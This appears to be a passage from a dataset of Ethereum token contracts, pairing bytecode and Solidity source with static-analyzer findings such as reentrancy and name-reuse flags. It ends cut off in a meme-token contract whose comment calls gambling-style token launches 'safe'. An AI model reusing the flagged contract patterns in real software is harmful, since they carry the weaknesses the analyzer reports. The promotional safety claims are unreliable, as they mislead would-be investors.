0b8e565b005b3480156102f557600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b604051808215151515815260200191505060405180910390f35b34801561035a57600080fd5b5061038f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2d565b6040518082815260200191505060405180910390f35b3480156103b157600080fd5b506103ba610e75565b005b3480156103c857600080fd5b506103d1610f7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041f57600080fd5b50610428610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046857808201518184015260208101905061044d565b50505050905090810190601f1680156104955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104af57600080fd5b506104ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103e565b604051808215151515815260200191505060405180910390f35b34801561051457600080fd5b50610553600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061125e565b604051808215151515815260200191505060405180910390f35b34801561057957600080fd5b506105ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145a565b6040518082815260200191505060405180910390f35b3480156105f057600080fd5b50610625600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e1565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106bd5780601f10610692576101008083540402835291602001916106bd565b820191906000526020600020905b8154815290600101906020018083116106a057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108d357600080fd5b610924826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900463ffffffff1681565b610b98338261157e565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610cad576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d41565b610cc0838261154990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110365780601f1061100b57610100808354040283529160200191611036565b820191906000526020600020905b81548152906001019060200180831161101957829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561108d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110c957600080fd5b61111a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ad826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112ef82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153d57600080fd5b61154681611731565b50565b600082821115151561155757fe5b818303905092915050565b6000818301905082811015151561157557fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156115cb57600080fd5b61161c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116738160015461154990919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561176d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820a82ba9d874804c9c7a46774e8f4e091d7231b40faaf7c27086199224946398dd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "name-reused", "impact": "High", "confidence": "High"}]}}
4,864
0x639f7ab1fc88f7fc8e94f7b7d638a40ad8154ac9
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ pragma solidity 0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be freeze by * simply including this module, only once the modifiers are put in place. */ contract Freeze is Ownable { /** * @dev Emitted when the Unfreeze is lifted by `account`. */ event Unfrozen(address account); bool internal _frozen; /** * @dev Initializes the contract in frozen state. */ constructor () internal { _frozen = true; } /** * @dev Returns true if the contract is frozen, and false otherwise. */ function isFrozen() public view returns (bool) { return _frozen; } function unfreeze() public virtual onlyOwner { _frozen = false; emit Unfrozen(msg.sender); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20CLI { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) public allowed; event Burn(address account, uint256 value); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public virtual returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _burn(address _account, uint256 _value) internal { require(_value > 0); require(_value <= balances[_account]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_account] = balances[_account].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_account, _value); emit Transfer(_account, address(0), _value); } } contract CTItoken is StandardToken, Freeze { string public constant name = "ClinTex CTI (Presale Tier 2)"; string public constant symbol = "CTI_T2"; uint8 public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 28500000 * (10 ** uint256(decimals)); uint256 releaseTime; mapping(address => uint256) lockedAmount; event Swap(address account, uint256 value); function unfreeze() public override onlyOwner { require(isFrozen()); releaseTime = now + 60 days; _frozen = false; emit Unfrozen(msg.sender); } ERC20CLI public CTItoken; // Constructors constructor (ERC20CLI _cti) public{ CTItoken = _cti; totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } function availableAmount(address account) public view returns(uint256) { if (isFrozen()) { return 0; } else if (now < releaseTime) { return balances[account].sub(lockedAmount[account]); } else{ return balances[account]; } } function swap() public { uint256 amount = availableAmount(msg.sender); if (amount != 0) { bool isSuccess = CTItoken.transfer(msg.sender, amount); require(isSuccess,"swap fiald!!!!"); _burn(msg.sender, amount); emit Swap(msg.sender, amount); } } function transfer(address _to, uint256 _value) public override returns (bool) { if (isFrozen()) { require(msg.sender == owner); lockedAmount[_to] = lockedAmount[_to].add(_value.div(2)); return super.transfer(_to, _value); } else { uint256 amount = availableAmount(msg.sender); require(_value <= amount); return super.transfer(_to, _value); } } function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) { require(!isFrozen()); uint256 amount = availableAmount(_from); require(_value <= amount); return super.transferFrom(_from, _to, _value); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806366188463116100ad57806395d89b411161007157806395d89b4114610350578063a9059cbb14610358578063d73dd62314610384578063dd62ed3e146103b0578063f2fde38b146103de5761012c565b806366188463146102e45780636a28f0001461031057806370a082311461031a5780638119c065146103405780638da5cb5b146103485761012c565b806333eeb147116100f457806333eeb1471461025c578063378dc3dc146102645780634af563691461026c5780635c65816514610290578063654259dd146102be5761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b610139610404565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b03813516906020013561043d565b604080519115158252519081900360200190f35b6101f66104a4565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b038135811691602081013590911690604001356104aa565b6102466104ec565b6040805160ff9092168252519081900360200190f35b6101da6104f1565b6101f6610501565b610274610510565b604080516001600160a01b039092168252519081900360200190f35b6101f6600480360360408110156102a657600080fd5b506001600160a01b038135811691602001351661051f565b6101f6600480360360208110156102d457600080fd5b50356001600160a01b031661053c565b6101da600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356105b2565b61031861069c565b005b6101f66004803603602081101561033057600080fd5b50356001600160a01b031661070f565b61031861072a565b61027461084b565b61013961085a565b6101da6004803603604081101561036e57600080fd5b506001600160a01b03813516906020013561087c565b6101da6004803603604081101561039a57600080fd5b506001600160a01b038135169060200135610925565b6101f6600480360360408110156103c657600080fd5b506001600160a01b03813581169160200135166109b8565b610318600480360360208110156103f457600080fd5b50356001600160a01b03166109e3565b6040518060400160405280601c81526020017f436c696e54657820435449202850726573616c6520546965722032290000000081525081565b3360008181526002602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005481565b60006104b46104f1565b156104be57600080fd5b60006104c98561053c565b9050808311156104d857600080fd5b6104e3858585610a69565b95945050505050565b601281565b600354600160a01b900460ff1690565b6a17931c1885d0746c80000081565b6006546001600160a01b031681565b600260209081526000928352604080842090915290825290205481565b60006105466104f1565b15610553575060006105ad565b600454421015610592576001600160a01b03821660009081526005602090815260408083205460019092529091205461058b91610b90565b90506105ad565b506001600160a01b0381166000908152600160205260409020545b919050565b3360009081526002602090815260408083206001600160a01b038616845290915281205480831115610607573360009081526002602090815260408083206001600160a01b0388168452909152812055610636565b6106118184610b90565b3360009081526002602090815260408083206001600160a01b03891684529091529020555b3360008181526002602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6003546001600160a01b031633146106b357600080fd5b6106bb6104f1565b6106c457600080fd5b624f1a0042016004556003805460ff60a01b191690556040805133815290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9181900360200190a1565b6001600160a01b031660009081526001602052604090205490565b60006107353361053c565b90508015610848576006546040805163a9059cbb60e01b81523360048201526024810184905290516000926001600160a01b03169163a9059cbb91604480830192602092919082900301818787803b15801561079057600080fd5b505af11580156107a4573d6000803e3d6000fd5b505050506040513d60208110156107ba57600080fd5b5051905080610801576040805162461bcd60e51b815260206004820152600e60248201526d73776170206669616c642121212160901b604482015290519081900360640190fd5b61080b3383610bd9565b604080513381526020810184905281517f562c219552544ec4c9d7a8eb850f80ea152973e315372bf4999fe7c953ea004f929181900390910190a1505b50565b6003546001600160a01b031681565b6040518060400160405280600681526020016521aa24afaa1960d11b81525081565b60006108866104f1565b156108f9576003546001600160a01b031633146108a257600080fd5b6108cf6108b0836002610ce1565b6001600160a01b03851660009081526005602052604090205490610cf4565b6001600160a01b0384166000908152600560205260409020556108f28383610d4e565b905061049e565b60006109043361053c565b90508083111561091357600080fd5b61091d8484610d4e565b91505061049e565b3360009081526002602090815260408083206001600160a01b03861684529091528120546109539083610cf4565b3360008181526002602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6003546001600160a01b031633146109fa57600080fd5b6001600160a01b038116610a0d57600080fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b038316610a7e57600080fd5b6001600160a01b038416600090815260026020908152604080832033845290915290205480831115610aaf57600080fd5b6001600160a01b038516600090815260016020526040902054610ad29084610b90565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610b019084610cf4565b6001600160a01b038516600090815260016020526040902055610b248184610b90565b6001600160a01b03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b6000610bd283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e07565b9392505050565b60008111610be657600080fd5b6001600160a01b038216600090815260016020526040902054811115610c0b57600080fd5b6001600160a01b038216600090815260016020526040902054610c2e9082610b90565b6001600160a01b03831660009081526001602052604081209190915554610c559082610b90565b600055604080516001600160a01b03841681526020810183905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a16040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000818381610cec57fe5b049392505050565b600082820183811015610bd2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006001600160a01b038316610d6357600080fd5b33600090815260016020526040902054610d7d9083610b90565b33600090815260016020526040808220929092556001600160a01b03851681522054610da99083610cf4565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008184841115610e965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e5b578181015183820152602001610e43565b50505050905090810190601f168015610e885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fea2646970667358221220b21b58ac779b3e5a7917839648b78c73f8f2ab76e8407ca0568fd88527d2d6f564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,865
0x2d1e9e33bee624418a876eada5c55bd9ff9c8d5e
/** *Submitted for verification at Etherscan.io on 2021-07-13 */ /*** * _________ .___ * / ________________ ____ ____ | | ____ __ __ * \_____ \\____ \__ \ _/ ____/ __ \ | |/ \| | \ * / | |_> / __ \\ \__\ ___/ | | | | | / * /_______ | __(____ /\___ \___ > |___|___| |____/ * \/|__| \/ \/ \/ \/ * * SPACE INU * * Token launch is powered by DexRoulette. * * DexRoulette launches daily a fun and safe casino/degen play. * Liquidity locked for 48hrs, frontrunner protected and ownership renounced. * * These token launches are community driven and for entertainment purposes only. * * Launch date: July 13, 2021 around 21:00 UTC * * t.me/DexRoulette * twitter.com/DexRoulette * reddit.com/r/DexRoulette * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SPACEINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Space Inu | t.me/DexRoulette"; string private constant _symbol = unicode"SPACEINU"; uint8 private constant _decimals = 9; uint256 private 